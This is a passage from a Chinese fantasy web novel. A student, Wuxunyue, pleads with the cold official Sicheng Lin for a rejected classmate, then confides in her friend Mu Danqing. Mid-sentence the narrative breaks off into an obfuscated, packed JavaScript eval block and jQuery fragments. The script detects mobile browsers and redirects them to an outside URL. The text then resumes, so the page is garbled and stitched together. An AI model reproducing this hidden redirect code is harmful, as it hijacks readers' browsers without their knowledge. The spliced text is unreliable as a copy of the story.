自然,司城凛全然以威凛之气压制一切,巫寻月看起来也是倔得很,否则怎么会见了他连装样子行礼都不装。
司城凛开了口:“可要直接问我?”
梅见蹊嘴角一扯,若他想的没错——这该是他们之间七年来的第一句话。
巫寻月用了数息来接受这个事实,终于鼓足勇气正向对他,四目相对间,她逼自己比他更冷漠,说:“敢问司城封座,为何拒了我同学东方曜入九部令?”
梅见蹊低了低头,把笑憋回肚子里。
司城凛答得很干脆:“他术法浮躁,不知调和,是为大忌,我部行事,需对全局绝对掌控,此等心性,非我部所需。”
巫寻月直视司城凛,语气不轻,却也不重:“司城封座指的,可是他毕业大考的表现?”
司城凛平静地与她相视,没有很快作答。
梅见蹊在心底窃笑,他知道她聪明得很,司城凛这不咸不淡偷梁换柱的说法休想一举蒙混过去。而他终究是司城凛,即便是心知肚明,应付这点说法,又怎会为难得了他,他说:“心性为人之根本,不易更改,可见微知著,一叶知秋。”
巫寻月在心底冷笑,他真是冠冕堂皇、光明磊落得很,言辞中正得挑不出一点错——若他的意思是东方曜当初为了私人感情不计后果找学长打架,还险些破坏司城宗祠闯下大祸,有此心性有违中和之道,自然也不适合九部令,她还真是无话可说。
看来,司城凛是彻底想绝了东方曜的念想。可既已求到他面前,无论如何,她还是得把话说透。巫寻月缓缓抬手,向他恭恭正正地行了礼:“司城封座大人,学生深知您识人透彻,九部令用人也极为严苛,可我同学毕竟还是个未及冠少年,心气或有浮躁,实力却的的确确是本届第一,是个可塑之才,若您能再有所考虑,予他指点一二,将来他必不会令您失望。”
“嗒——”地一声,司城凛手中茶盏落定,他身形未动,眉宇未蹙,那声落盏轻响,却如同寒冰术法尽展,令人悚然生畏。司城凛掀起眼帘,淡漠地扫了过去,道:“你今日来寻校长,是为他求情?”
感觉到他明显气压不对,巫寻月心头一抖,却坚持:“是。”
“为何是你替他求情?”
司城凛的眼神冷得彻骨,明明是初夏,巫寻月却觉得呼吸间全是寒气。她沉了口气,诚恳十足地道来:“我同学东方曜年纪尚浅,性情略为憨直质朴,不善言辞,自收到您的拒信后,就一直深陷自责与自我怀疑之中,不敢替自己分辨。东方曜一直视您为心中所向,一言一行皆以您为范本,苦修七年未曾懈怠,我深知他刻苦,也认同其实力,不忍见其因一次失误而蒙尘……因此斗胆前来替他申辩,还望司城封座能再给他一次机会。”
她一口气说完了。屋子里静得很,泥炉滚水之声有心缓和紧张,低缓而动。梅见蹊听她说完,目光向司城凛一偏,那厮自不会有什么好脸,梅见蹊好奇的是,面对的是她,司城凛能吐出什么尖酸刻薄之语。
果不其然,司城凛没让梅见蹊失望,声线沉压,开了口:“你深知他刻苦……你对你同学,倒是尽心得很。”
巫寻月一怔,被他话中讥讽所刺,胸中委屈翻涌,一腔诚勇当即弱了下去:“于本届之中,我为年长,自有些看护之责。”
“看护之责……”司城凛冷彻不减,“那你还真是忙得很啊。”
司城凛这话带了明显的怒意,连梅见蹊都不由得愣了愣。今日司城凛来时脸色已然不对,虽然什么也没说,但煮的第一壶茶入口便是未化开的火气,浊苦难咽,梅见蹊尝了一口便想破口大骂了——简直如同含了一口被碾碎的枯叶,还以为这厮是特意来整他的!
结果,就有人这么不偏不倚撞上了枪口——说是她撞枪口,可看他接二连三这阴阳怪气,没准,这火便是从她身上烧起来的。
一同愣住的,还有巫寻月。她思绪迅速流转,苦想究竟是哪里惹恼了司城凛,若要说东方曜最大的过错,那也便是去年于司城宗祠前相斗一事了。
巫寻月咬了咬唇,说服自己再冷静,伸手将下摆一扬,双膝跪地,正身作揖,开了口:“学生不敢欺瞒司城封座大人,去年有同学因练功比试,不慎惊扰司城宗祠,其中正有东方曜,因此今年填报志愿时,他忧虑重重,是我鼓励他,说您是宽宏大量、不计前嫌之人,必定不会因此记恨,而无视了他的才华与实力,还望司城封座大人能够惜才,不至因他年少无知而全然否定,让九部令错失人才。”
她一番言辞恳切,换了旁人,该是佩服且动容的。可偏偏,这是司城凛。
司城凛已不在看她,虽不见其眸色,只闻其声,那倾覆般的压迫感却也不减分毫:“你的意思是,我九部令没了他,还真是一大损失。”
巫寻月斗胆,干脆道:“是。”
这一声明显的顶撞,让司城凛将目光重放向她。她一副低声下气的姿态,眼中却满是倔强、委屈,甚至还有怨怼。他动了唇:“你是太看得起他,还是太轻看我九部令,又或者……是太看得起自己。”
这话说得太重,惊得巫寻月当即泛起泪光,就连梅见蹊也坐不住了,抬声救了场:“哎,这个……寻月同学有心维护同学,也实属心善,虽有所顶撞,还请司城封座莫要计较。”
见她如此,司城凛收回目光,语气却未有缓和:“依你之言,若本座不收此子,那就是本座不宽宏大量、小人之心了。”
巫寻月只说:“学生不敢。”
司城凛起了身,梅见蹊也跟着站起来,目送他徐徐离坐,继续道:“拒信已出,本座不会更改此决定。”
经过巫寻月身边时,司城凛脚步一滞,却不再看向她,最后说:“你若有疑,可上书天听阁复议。”
说完,他便提步往前,扬长离去。
留她一人在原地酸涩失落。
梅见蹊也懒得送他,见他人彻底消失了,看向巫寻月,说:“起来吧。”
巫寻月用力地吸了吸鼻子,起身时低声唾骂:“……也不知道成天凶神恶煞端着个脸给谁看!”
“哎哎哎,失礼,”梅见蹊拿扇子指了指她,“怎可妄议司城封座。”
巫寻月一股火气没地方发呢,瞪着梅见蹊就嚷:“你助纣为虐!”
梅见蹊满脸无辜:“此人的决定,我还能左右得了?”
“那他现在都欺压你神都学宫的学生了,还是本届第一名优秀学子!”巫寻月简直是气势汹汹,“你可是我们老师,你帮谁?”
“我自然是帮理。”
巫寻月一声讪笑:“哦,所以你觉得他如此计较,有理得很。”
梅见蹊抱胸看她,颇有无奈,虽说司城凛一向脾性如此,但也绝不是恃权独断、暴怒无常之人,否则治下能像如今这么拥戴吗?今日如此反常,怕是有人触了逆鳞——那他除了她,还能有别的逆鳞?
梅见蹊甚是无语——你们七年不见,上来就这出啊?他折着眉头,说:“此事学校会妥善处理,我倒是要问你——你和那燕云停怎么回事?”
巫寻月愣住,迟了迟才看向司城凛方才的座位,问:“……是他说的吗?”
“还须他说?毕业大考那日,祝福不都当着我面送到你头上了吗?”梅见蹊的折扇甩来甩去,替他演了一出眉飞色舞。
正好,她已憋了许久了,怀着怒意厉声道:“我跟这个人什么都没有!”
“嚯,我可还记得去年祭神典你们便已有所往来。”
“那日才是我第一次见他,”巫寻月满腔愤懑,却老实巴交地解释,她实在是怕有一点点的误会传入那个人耳中,“后来他是对我有意,可早在上学期我就已经跟他说清楚了我们不合适,后来就再未联系,毕业大考那日如此突然,我也是觉得突兀得很。”
见她一副急得快哭的样子,梅见蹊越发不咸不淡了:“干嘛这么急着跟他撇清关系,我又没说什么,我们寻月才貌无双,那燕云停也是样样上佳,可称人中龙凤,是个好归宿,老师也是觉得放心的。”
巫寻月先是怨气沉沉地看着梅见蹊,随后竟笑了:“这可是你说的。”
梅见蹊脸色一僵,他早该料到这小丫头不好斗的,出言激她作甚。到了此刻,他忽然如神通一点,领会了方才司城凛所言,学着道:“你的确是忙,自己的毕业志愿还未落定,就操心起同学的了,现下……可还要再添一桩事?”
巫寻月的脸一下子就耷拉了下去。
的确,在替别人操心之前,她该把自己的志愿解决了先。此时尚早——也不知道司城凛一大早跑神都学宫来干什么,巫寻月离开校长书房之后便回到宿舍,提笔填写自己的就业志愿。
其实,也有一丝犹豫。自然不是为了九部令——是为了三部令,云崖朝乾带领下的最强控制系灵师队伍,是每一位控制系学子的终极向往,在三部令,她就能够见识到全灵族所有的控制系顶尖天才,而她,也将会成为其中一个。
不止她自己这么想,几乎所有人都这么想——她巫寻月的志愿,无非落在三部令和九部令其中一个。选三部令,是众望所归;选十一部令……落差是有些太大了。
可到底,巫寻月不为别人而活,也不在乎什么不孚重望——若她真是金子,那将来的十一部令,必定因她而金碧辉煌。
巫寻月郑重写下自己的志愿,装好封蜡,交给了负责的老师。
这可是双修真灵的志愿,谁不得特提加急处理,毕竟谁都想知道她究竟写了什么。所以,信封才交出去不到半个时辰,全校皆知,午前便已交到十一部令副座沙无痕的手中,到了午休时间,十一令间一片哗然。
慕丹青先是在食堂里被人围堵,出去散步又被堵了几轮,一波又一波人问的都是同一个问题——“巫寻月选十一部令你知道吗?为什么啊?”慕丹青自然知道如何应付他们,只是枫若恒来问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17015348|188673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时,她还特意交代,不许他再向燕云停透露巫寻月的事。
慕丹青都下了禁令,枫若恒自不会阳奉阴违。可毕竟燕云停是他挚友,不问清楚他终究难安:“寻月是真的一点也不喜欢云停吗?可我看他们之前还挺有希望的……”
“难道人就不可以有迷茫的时候吗?我对你也并非一开始就那么清楚,”慕丹青压了压火气,好好说,“之前是之前,现在她想明白了。”
枫若恒见她有气,只得小心道:“想明白……什么?她是觉得哪里不合适了?”
慕丹青斟酌一二,决定对他说实话:“她……她心里有人,有一个心爱多年的人,此事我可以为她做主,若你想告诉燕云停,我不拦你。”
这实话巫寻月自己对燕云停说是残忍,可从旁得知,就不是了。
所以当夜,巫寻月迫不及待跑去慕府找慕丹青得知这一切时,忍不住跳起来抱着她转起了圈,那尖叫声都要掀翻屋顶了:“——慕丹青!你可真是我的好双胞胎!”
慕丹青白眼都要翻上天了,疲倦地道:“今日你选投十一部令之事传开,你都不知道!我被人围堵得水泄不通!七嘴八舌地一个接一个问,我耳朵都要起茧子了!”
“哎呦怎么办呢,”巫寻月歪着脑袋冲她眨眼,“当大明星的朋友很累吧?是不是很想绝交?”
“好好好,”慕丹青作势就把她的手摘了下来,理直气壮说,“玉文瑛都能这么做,我为什么不能?绝交,现在就绝交。”
“你做梦。”巫寻月更紧地黏住了她,让她推都推不开。
慕丹青没好气地做鬼脸,然后说:“今日你志愿传开,其实最淡定的人还是沙副座,听说他笑了笑,也不多说,提笔就给你撰写复文,之后就忙别的事去了,倒是十一部令的人都很高兴呢。”
“沙副座既能全权代掌座首,自有其胸襟,要管的事多着呢,”巫寻月显得很开心,“这就是我想要的状态。”
“那你同学东方曜那边,可怎么说?”
“我来找你,正是要说此事。”巫寻月长叹口气,把今日在校长书房里见到司城凛的事,都告诉了慕丹青。
慕丹青越听,脸色越发煞白,到最后下巴都快掉到地上了,惊惧交加地喝道:“——你怎敢如此道德绑架司城封座!”
“是我不自量力了,”巫寻月承认得坦荡,也没把满脸失落藏起来,“我承认,我是故意的……虽然我的确是急了些,想不到别的办法了,但我……总也想试试,我的话有没有用。”
“寻月!”慕丹青简直是难以置信,眼神像是看着一个自己不熟悉的人,“你怎能如此胡闹?那是司城封座!是司城宗主!于灵族,他就是权威,就是法度,你知道若他因你而改口,那意味什么吗?”
巫寻月老老实实地坐定,眼底泪光若现,她轻轻道:“我知道,我知道司城封座是权威,是法度,但我不知道……那个人是不是也是。”
在她心里,司城封座和她心爱的男人,终究有别。慕丹青正不知该说什么时,巫寻月吸了吸鼻子,目光陡转,已然变得坚韧起来:“丹青,是我错了,但我不后悔,七年了,在我毕业之前我们能第一次这样相见,或许注定我要如此一试,才让我彻彻底底明白,我要面对的,是一个什么样的男人。”
“……你明白便好,”慕丹青这才松了口气,“现下你可理解……当我知道你心爱于他时……有多震惊了吗?”
司城凛对所有人来说,都该高高在上,不染尘埃。
见她陷入怅然,慕丹青竟好笑地扑哧一声,才道:“巫寻月啊巫寻月,我要你这个大明星朋友有何用?你有我慕丹青可才真是了不起。”
巫寻月的注意力瞬间被拉回,看着慕丹青眉眼间飞扬的笑意,她自然地就跟着笑了起来:“你有什么好消息给我?”
“哼。”慕丹青缓缓站了起来,被她黏着抱了许久,酸麻得很。慕丹青在屋内踱步,缓缓开了口:“你今日对司城封座这番话虽凌厉了些,可也并无太多不妥,可你知道他为何如此生气吗?”
“……为什么?”
慕丹青转身看定她,道:“前几日我就跟你说了要帮你问明白燕云停究竟在九部令中是如何说与你的事的,今日我碰到千山副座,便问了。燕云停倒也正直,并未有何失言,说是与你在朋友聚会中相识,对你一见钟情,后来我们几次同邀你们出去玩,他便也有了与你独处的机会,也会到学校找你,但你颇为矜持,与他并不过密……”
巫寻月目光一沉,承认道:“这些,的确是如此。”
“可你也知道他如此描述,别人听来可就不是这个意思了,所谓的矜持,也就变成了娇羞涩意,甚至是欲擒故纵,”慕丹青与她说话从不打哑谜,一针见血得很,她顿了顿,眉头一挑,道,“那你猜猜,这些话——都传进谁耳朵里了?”
巫寻月猛地一下站了起来:“——有人告诉他了?”